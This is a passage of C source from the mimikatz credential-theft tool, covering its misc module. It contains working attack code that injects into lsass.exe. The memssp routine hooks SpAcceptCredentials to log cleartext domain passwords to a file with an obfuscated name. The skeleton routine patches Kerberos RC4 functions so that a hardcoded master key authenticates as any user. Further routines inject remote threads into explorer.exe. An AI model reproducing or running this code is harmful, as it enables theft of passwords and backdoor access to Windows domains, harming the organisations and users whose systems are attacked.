// if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
// PRINT_ERROR_AUTO(L"kull_m_memory_copy");
// LocalFree(pOs[i].LocalBackup.address);
// }
// if(pOs[i].OldProtect)
// kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
// }
// }
// kull_m_memory_close(aProcess.hMemory);
// }
// CloseHandle(hProcess);
// }
// else PRINT_ERROR_AUTO(L"OpenProcess");
// }
// err = DsUnBindW(&hDs);
// }
// else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
// LsaFreeMemory(pDnsInfo);
// }
// } else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
// } else PRINT_ERROR(L"It requires at least 2 args\n");
// return STATUS_SUCCESS;
//}
//#endif
typedef NTSTATUS (NTAPI * PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
typedef FILE * (__cdecl * PFOPEN)(__in_z const char * _Filename, __in_z const char * _Mode);
typedef int (__cdecl * PFWPRINTF)(__inout FILE * _File, __in_z __format_string const wchar_t * _Format, ...);
typedef int (__cdecl * PFCLOSE)(__inout FILE * _File);
#pragma optimize("", off)
NTSTATUS NTAPI misc_msv1_0_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE * logfile;
DWORD filename[] = {0x696d696d, 0x2e61736c, 0x00676f6c},
append = 0x00000061,
format[] = {0x0025005b, 0x00380030, 0x003a0078, 0x00300025, 0x00780038, 0x0020005d, 0x00770025, 0x005c005a, 0x00770025, 0x0009005a, 0x00770025, 0x000a005a, 0x00000000};
if(logfile = ((PFOPEN) 0x4141414141414141)((PCHAR) filename, (PCHAR) &append))
{
((PFWPRINTF) 0x4242424242424242)(logfile, (PWCHAR) format, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, &PrimaryCredentials->Password);
((PFCLOSE) 0x4343434343434343)(logfile);
}
return ((PSPACCEPTCREDENTIALS) 0x4444444444444444)(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
DWORD misc_msv1_0_SpAcceptCredentials_end(){return 'mssp';}
#pragma optimize("", on)
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
BYTE INSTR_JMP[]= {0xff, 0x25, 0x00, 0x00, 0x00, 0x00}; // need 14
BYTE PTRN_WIN5_MSV1_0[] = {0x49, 0x8b, 0xd0, 0x4d, 0x8b, 0xc1, 0xeb, 0x08, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x89, 0x4c, 0x24, 0x08}; // damn short jump!
BYTE PTRN_WI6X_MSV1_0[] = {0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
BYTE PTRN_WI81_MSV1_0[] = {0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_2K3, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, sizeof(PTRN_WIN5_MSV1_0)}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-15, 15}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-17, 15}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-16, 15}},
};
#elif defined(_M_IX86)
BYTE INSTR_JMP[]= {0xe9}; // need 5
BYTE PTRN_WIN5_MSV1_0[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8};
BYTE PTRN_WI6X_MSV1_0[] = {0xff, 0x75, 0x14, 0xff, 0x75, 0x10, 0xff, 0x75, 0x08, 0xe8, 0x24, 0x00, 0x00, 0x00};
BYTE PTRN_WI80_MSV1_0[] = {0xff, 0x75, 0x08, 0x8b, 0x4d, 0x14, 0x8b, 0x55, 0x10, 0xe8};
BYTE PTRN_WI81_MSV1_0[] = {0xff, 0x75, 0x14, 0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_W10_1703_MSV1_0[] = {0x8b, 0x55, 0x10, 0x8b, 0x4d, 0x08, 0x56, 0xff, 0x75, 0x14, 0xe8};
KULL_M_PATCH_GENERIC MSV1_0AcceptReferences[] = {
{KULL_M_WIN_MIN_BUILD_XP, {sizeof(PTRN_WIN5_MSV1_0), PTRN_WIN5_MSV1_0}, {0, NULL}, { 0, 5}},
{KULL_M_WIN_MIN_BUILD_VISTA,{sizeof(PTRN_WI6X_MSV1_0), PTRN_WI6X_MSV1_0}, {0, NULL}, {-41, 5}},
{KULL_M_WIN_MIN_BUILD_8, {sizeof(PTRN_WI80_MSV1_0), PTRN_WI80_MSV1_0}, {0, NULL}, {-43, 5}},
{KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WI81_MSV1_0), PTRN_WI81_MSV1_0}, {0, NULL}, {-39, 5}},
{KULL_M_WIN_BUILD_10_1703, {sizeof(PTRN_W10_1703_MSV1_0), PTRN_W10_1703_MSV1_0}, {0, NULL}, {-28, 15}},
};
#endif
PCWCHAR szMsvCrt = L"msvcrt.dll";
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[])
{
HANDLE hProcess;
DWORD processId;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_MEMORY_SEARCH sSearch;
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iMSV;
PKULL_M_PATCH_GENERIC pGeneric;
REMOTE_EXT extensions[] = {
{szMsvCrt, "fopen", (PVOID) 0x4141414141414141, NULL},
{szMsvCrt, "fwprintf", (PVOID) 0x4242424242424242, NULL},
{szMsvCrt, "fclose", (PVOID) 0x4343434343434343, NULL},
{NULL, NULL, (PVOID) 0x4444444444444444, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
DWORD trampoSize;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"msv1_0.dll", &iMSV))
{
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iMSV.DllBase;
sSearch.kull_m_memoryRange.size = iMSV.SizeOfImage;
if(pGeneric = kull_m_patch_getGenericFromBuild(MSV1_0AcceptReferences, ARRAYSIZE(MSV1_0AcceptReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aLocal.address = pGeneric->Search.Pattern;
if(kull_m_memory_search(&aLocal, pGeneric->Search.Length, &sSearch, TRUE))
{
trampoSize = pGeneric->Offsets.off1 + sizeof(INSTR_JMP) + sizeof(PVOID);
if(aLocal.address = LocalAlloc(LPTR, trampoSize))
{
sSearch.result = (PBYTE) sSearch.result + pGeneric->Offsets.off0;
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLocal, &aLsass, pGeneric->Offsets.off1))
{
RtlCopyMemory((PBYTE) aLocal.address + pGeneric->Offsets.off1, INSTR_JMP, sizeof(INSTR_JMP));
if(kull_m_memory_alloc(&aLsass, trampoSize, PAGE_EXECUTE_READWRITE))
{
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
*(PVOID *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result + pGeneric->Offsets.off1;
#elif defined(_M_IX86)
*(LONG *)((PBYTE) aLocal.address + pGeneric->Offsets.off1 + sizeof(INSTR_JMP)) = (PBYTE) sSearch.result - ((PBYTE) aLsass.address + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
extensions[3].Pointer = aLsass.address;
if(kull_m_memory_copy(&aLsass, &aLocal, trampoSize))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))
{
RtlCopyMemory((PBYTE) aLocal.address, INSTR_JMP, sizeof(INSTR_JMP));
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
*(PVOID *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = aLsass.address;
#elif defined(_M_IX86)
*(LONG *)((PBYTE) aLocal.address + sizeof(INSTR_JMP)) = (PBYTE) aLsass.address - ((PBYTE) sSearch.result + sizeof(INSTR_JMP) + sizeof(LONG));
#endif
aLsass.address = sSearch.result;
if(kull_m_memory_copy(&aLsass, &aLocal, pGeneric->Offsets.off1))
kprintf(L"Injected =)\n");
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n0");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace");
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - Trampoline n1");
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_copy - real asm");
LocalFree(aLocal.address);
}
}
else PRINT_ERROR_AUTO(L"kull_m_memory_search");
}
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getProcessIdForName");
return STATUS_SUCCESS;
}
typedef PVOID (__cdecl * PMEMCPY) (__out_bcount_full_opt(_MaxCount) void * _Dst, __in_bcount_opt(_MaxCount) const void * _Src, __in size_t _MaxCount);
typedef HLOCAL (WINAPI * PLOCALALLOC) (__in UINT uFlags, __in SIZE_T uBytes);
typedef HLOCAL (WINAPI * PLOCALFREE) (__deref HLOCAL hMem);
#pragma optimize("", off)
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
PVOID origContext, kiwiContext;
DWORD kiwiKey[] = {0xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
if(*pContext = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, 32 + sizeof(PVOID)))
{
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(Key, KeySize, KeyUsage, &origContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 0, origContext, 16);
status = ((PKERB_ECRYPT_INITIALIZE) 0x4343434343434343)(kiwiKey, 16, KeyUsage, &kiwiContext);
if(NT_SUCCESS(status))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)((PBYTE) *pContext + 16, kiwiContext, 16);
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(kiwiContext);
}
*(LPCVOID *) ((PBYTE) *pContext + 32) = Key;
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(origContext);
}
if(!NT_SUCCESS(status))
{
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(*pContext);
*pContext = NULL;
}
}
return status;
}
NTSTATUS WINAPI kuhl_misc_skeleton_rc4_init_decrypt(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize)
{
NTSTATUS status = STATUS_INSUFFICIENT_RESOURCES;
DWORD origOutputSize = *OutputSize, kiwiKey[] = {0xca4fba60, 0x7a6c46dc, 0x81173c03, 0xf63dc094};
PVOID buffer;
if(buffer = ((PLOCALALLOC) 0x4a4a4a4a4a4a4a4a)(0, DataSize))
{
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(buffer, Data, DataSize);
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)(pContext, buffer, DataSize, Output, OutputSize);
if(!NT_SUCCESS(status))
{
*OutputSize = origOutputSize;
status = ((PKERB_ECRYPT_DECRYPT) 0x4444444444444444)((PBYTE) pContext + 16, buffer, DataSize, Output, OutputSize);
if(NT_SUCCESS(status))
((PMEMCPY) 0x4c4c4c4c4c4c4c4c)(*(PVOID *) ((PBYTE) pContext + 32), kiwiKey, 16);
}
((PLOCALFREE) 0x4b4b4b4b4b4b4b4b)(buffer);
}
return status;
}
DWORD kuhl_misc_skeleton_rc4_end(){return 'skel';}
#pragma optimize("", on)
wchar_t newerKey[] = L"Kerberos-Newer-Keys";
NTSTATUS kuhl_m_misc_skeleton(int argc, wchar_t * argv[])
{
BOOL success = FALSE;
PKERB_ECRYPT pCrypt;
DWORD processId;
HANDLE hProcess;
PBYTE localAddr, ptrValue = NULL;
KULL_M_MEMORY_ADDRESS aLsass, aLocal = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION cryptInfos;
KULL_M_MEMORY_SEARCH sMemory;
LSA_UNICODE_STRING orig;
REMOTE_EXT extensions[] = {
{L"kernel32.dll", "LocalAlloc", (PVOID) 0x4a4a4a4a4a4a4a4a, NULL},
{L"kernel32.dll", "LocalFree", (PVOID) 0x4b4b4b4b4b4b4b4b, NULL},
{L"ntdll.dll", "memcpy", (PVOID) 0x4c4c4c4c4c4c4c4c, NULL},
{NULL, NULL, (PVOID) 0x4343434343434343, NULL}, // Initialize
{NULL, NULL, (PVOID) 0x4444444444444444, NULL}, // Decrypt
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
BOOL onlyRC4Stuff = (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_VISTA) || kull_m_string_args_byName(argc, argv, L"letaes", NULL, NULL);
RtlZeroMemory(&orig, sizeof(orig));
RtlInitUnicodeString(&orig, newerKey);
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{
if(!onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"kdcsvc.dll", &cryptInfos))
{
aLocal.address = newerKey;
sMemory.kull_m_memoryRange.kull_m_memoryAdress = cryptInfos.DllBase;
sMemory.kull_m_memoryRange.size = cryptInfos.SizeOfImage;
if(kull_m_memory_search(&aLocal, sizeof(newerKey), &sMemory, TRUE))
{
kprintf(L"[KDC] data\n");
aLocal.address = &orig;
orig.Buffer = (PWSTR) sMemory.result;
if(kull_m_memory_search(&aLocal, sizeof(orig), &sMemory, TRUE))
{
kprintf(L"[KDC] struct\n", sMemory.result);
RtlZeroMemory(&orig, sizeof(orig));
aLsass.address = sMemory.result;
if(success = kull_m_memory_copy(&aLsass, &aLocal, sizeof(orig)))
kprintf(L"[KDC] keys patch OK\n");
}
else PRINT_ERROR(L"Second pattern not found\n");
}
else PRINT_ERROR(L"First pattern not found\n");
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
if(success || onlyRC4Stuff)
{
if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"cryptdll.dll", &cryptInfos))
{
localAddr = (PBYTE) GetModuleHandle(L"cryptdll.dll");
if(NT_SUCCESS(CDLocateCSystem(KERB_ETYPE_RC4_HMAC_NT, &pCrypt)))
{
extensions[3].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Initialize - localAddr);
extensions[4].Pointer = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt->Decrypt - localAddr);
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, kuhl_misc_skeleton_rc4_init, (DWORD) ((PBYTE) kuhl_misc_skeleton_rc4_end - (PBYTE) kuhl_misc_skeleton_rc4_init), &extForCb, &aLsass))
{
kprintf(L"[RC4] functions\n");
ptrValue = (PBYTE) aLsass.address;
aLocal.address = &ptrValue;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Initialize);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
{
kprintf(L"[RC4] init patch OK\n");
ptrValue += (PBYTE) kuhl_misc_skeleton_rc4_init_decrypt - (PBYTE) kuhl_misc_skeleton_rc4_init;
aLsass.address = (PBYTE) cryptInfos.DllBase.address + ((PBYTE) pCrypt - localAddr) + FIELD_OFFSET(KERB_ECRYPT, Decrypt);
if(kull_m_memory_copy(&aLsass, &aLocal, sizeof(PVOID)))
kprintf(L"[RC4] decrypt patch OK\n");
}
}
else PRINT_ERROR(L"Unable to create remote functions\n");
}
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
}
kull_m_memory_close(aLsass.hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_compress(int argc, wchar_t * argv[])
{
LPCWSTR szInput, szOutput;
PVOID pInput, pOutput;
DWORD dwInput, dwOutput;
#pragma warning(push)
#pragma warning(disable:4996)
if(kull_m_string_args_byName(argc, argv, L"input", &szInput, _wpgmptr))
#pragma warning(pop)
{
if(kull_m_string_args_byName(argc, argv, L"output", &szOutput, MIMIKATZ L"_" MIMIKATZ_ARCH L".compressed"))
{
kprintf(L"Input : %s\nOutput: %s\n\nOpening: ", szInput, szOutput);
if(kull_m_file_readData(szInput, (PBYTE *) &pInput, &dwInput))
{
kprintf(L"OK\n");
kprintf(L" * Original size : %u\n", dwInput);
if(kull_m_memory_quick_compress(pInput, dwInput, &pOutput, &dwOutput))
{
kprintf(L" * Compressed size: %u (%.2f%%)\n", dwOutput, 100 * ((float) dwOutput / (float) dwInput));
kprintf(L"Writing: ");
if(kull_m_file_writeData(szOutput, pOutput, dwOutput))
kprintf(L"OK\n");
else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
LocalFree(pOutput);
}
}
else PRINT_ERROR_AUTO(L"kull_m_file_readData");
}
else PRINT_ERROR(L"An /output:file is needed\n");
}
else PRINT_ERROR(L"An /input:file is needed\n");
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_misc_lock(int argc, wchar_t * argv[])
{
PCWCHAR process;
UNICODE_STRING uProcess;
kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe");
RtlInitUnicodeString(&uProcess, process);
kprintf(L"Proxy process : %wZ\n", &uProcess);
kull_m_process_getProcessInformation(kuhl_m_misc_lock_callback, &uProcess);
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_lock_callback(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD pid;
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &((PKIWI_WP_DATA) pvArg)->process, TRUE))
{
pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"> Found %wZ with PID %u : ", &pSystemProcessInformation->ImageName, pid);
kuhl_m_misc_lock_for_pid(pid, ((PKIWI_WP_DATA) pvArg)->wp);
}
return TRUE;
}
#pragma optimize("", off)
DWORD WINAPI kuhl_m_misc_lock_thread(PREMOTE_LIB_DATA lpParameter)
{
lpParameter->output.outputStatus = STATUS_SUCCESS;
if(!((PLOCKWORKSTATION) 0x4141414141414141)())
lpParameter->output.outputStatus = ((PGETLASTERROR) 0x4242424242424242)();
return STATUS_SUCCESS;
}
DWORD kuhl_m_misc_lock_thread_end(){return 'stlo';}
#pragma optimize("", on)
void kuhl_m_misc_lock_for_pid(DWORD pid, PCWCHAR wp)
{
REMOTE_EXT extensions[] = {
{L"user32.dll", "LockWorkStation", (PVOID) 0x4141414141414141, NULL},
{L"kernel32.dll", "GetLastError", (PVOID) 0x4242424242424242, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemory = NULL;
KULL_M_MEMORY_ADDRESS aRemoteFunc;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_m_misc_lock_thread, (DWORD) ((PBYTE) kuhl_m_misc_lock_thread_end - (PBYTE) kuhl_m_misc_lock_thread), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, 0, 0, NULL))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
if(oData.outputStatus)
kprintf(L"error %u\n", oData.outputStatus);
else
kprintf(L"OK!\n");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
kull_m_memory_close(hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
NTSTATUS kuhl_m_misc_wp(int argc, wchar_t * argv[])
{
KIWI_WP_DATA data;
PCWCHAR process;
if(kull_m_string_args_byName(argc, argv, L"file", &data.wp, NULL))
{
kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe");
RtlInitUnicodeString(&data.process, process);
kprintf(L"Wallpaper file: %s\n", data.wp);
kprintf(L"Proxy process : %wZ\n", &data.process);
kull_m_process_getProcessInformation(kuhl_m_misc_wp_callback, &data);
}
else PRINT_ERROR(L"file argument is needed\n");
return STATUS_SUCCESS;
}
BOOL CALLBACK kuhl_m_misc_wp_callback(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg)
{
DWORD pid;
if(RtlEqualUnicodeString(&pSystemProcessInformation->ImageName, &((PKIWI_WP_DATA) pvArg)->process, TRUE))
{
pid = PtrToUlong(pSystemProcessInformation->UniqueProcessId);
kprintf(L"> Found %wZ with PID %u : ", &pSystemProcessInformation->ImageName, pid);
kuhl_m_misc_wp_for_pid(pid, ((PKIWI_WP_DATA) pvArg)->wp);
}
return TRUE;
}
#pragma optimize("", off)
DWORD WINAPI kuhl_m_misc_wp_thread(PREMOTE_LIB_DATA lpParameter)
{
lpParameter->output.outputStatus = STATUS_SUCCESS;
if(!((PSYSTEMPARAMETERSINFOW) 0x4141414141414141)(SPI_SETDESKWALLPAPER, 0, lpParameter->input.inputData, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE))
lpParameter->output.outputStatus = ((PGETLASTERROR) 0x4242424242424242)();
return STATUS_SUCCESS;
}
DWORD kuhl_m_misc_wp_thread_end(){return 'stwp';}
#pragma optimize("", on)
void kuhl_m_misc_wp_for_pid(DWORD pid, PCWCHAR wp)
{
REMOTE_EXT extensions[] = {
{L"user32.dll", "SystemParametersInfoW", (PVOID) 0x4141414141414141, NULL},
{L"kernel32.dll", "GetLastError", (PVOID) 0x4242424242424242, NULL},
};
MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions};
HANDLE hProcess;
PKULL_M_MEMORY_HANDLE hMemory = NULL;
KULL_M_MEMORY_ADDRESS aRemoteFunc;
PREMOTE_LIB_INPUT_DATA iData;
REMOTE_LIB_OUTPUT_DATA oData;
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory))
{
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hMemory, kuhl_m_misc_wp_thread, (DWORD) ((PBYTE) kuhl_m_misc_wp_thread_end - (PBYTE) kuhl_m_misc_wp_thread), &extForCb, &aRemoteFunc))
{
if(iData = kull_m_remotelib_CreateInput(NULL, 0, (lstrlenW(wp) + 1) * sizeof(wchar_t), wp))
{
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
{
if(oData.outputStatus)
kprintf(L"error %u\n", oData.outputStatus);
else
kprintf(L"OK!\n");
}
else PRINT_ERROR_AUTO(L"kull_m_remotelib_create");
LocalFree(iData);
}
kull_m_memory_free(&aRemoteFunc);
}
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
kull_m_memory_close(hMemory);
}
CloseHandle(hProcess);
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
NTSTATUS kuhl_m_misc_mflt(int argc, wchar_t * argv[])
{
PFILTER_AGGREGATE_BASIC_INFORMATION info, info2;
DWORD szNeeded;// = 0;
HANDLE hDevice;
HRESULT res;
res = FilterFindFirst(FilterAggregateBasicInformation, NULL, 0, &szNeeded, &hDevice);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
if(info = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindFirst(FilterAggregateBasicInformation, info, szNeeded, &szNeeded, &hDevice);
if(res == S_OK)
{
kuhl_m_misc_mflt_display(info);
do
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, NULL, 0, &szNeeded);
if(res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
{
if(info2 = (PFILTER_AGGREGATE_BASIC_INFORMATION) LocalAlloc(LPTR, szNeeded))
{
res = FilterFindNext(hDevice, FilterAggregateBasicInformation, info2, szNeeded, &szNeeded);
if(res == S_OK)
kuhl_m_misc_mflt_display(info2);
else PRINT_ERROR(L"FilterFindNext(data): 0x%08x\n", res);
LocalFree(info2);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) PRINT_ERROR(L"FilterFindNext(size): 0x%08x\n", res);
}
while(res == S_OK);
}
else PRINT_ERROR(L"FilterFindFirst(data): 0x%08x\n", res);
LocalFree(info);
}
}
else if(res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) (L"FilterFindFirst(size): 0x%08x\n", res);
return STATUS_SUCCESS;
}
void kuhl_m_misc_mflt_display(PFILTER_AGGREGATE_BASIC_INFORMATION info)
{
DWORD offset;
do
{
switch(info->Flags)
{
case FLTFL_AGGREGATE_INFO_IS_MINIFILTER:
kprintf(L"%u %u %10.*s %.*s\n",
info->Type.MiniFilter.FrameID, info->Type.MiniFilter.NumberOfInstances,
info->Type.MiniFilter.FilterAltitudeLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterAltitudeBufferOffset,
info->Type.MiniFilter.FilterNameLength / sizeof(wchar_t), (PBYTE) info + info->Type.MiniFilter.FilterNameBufferOffset
);
break;
case FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER: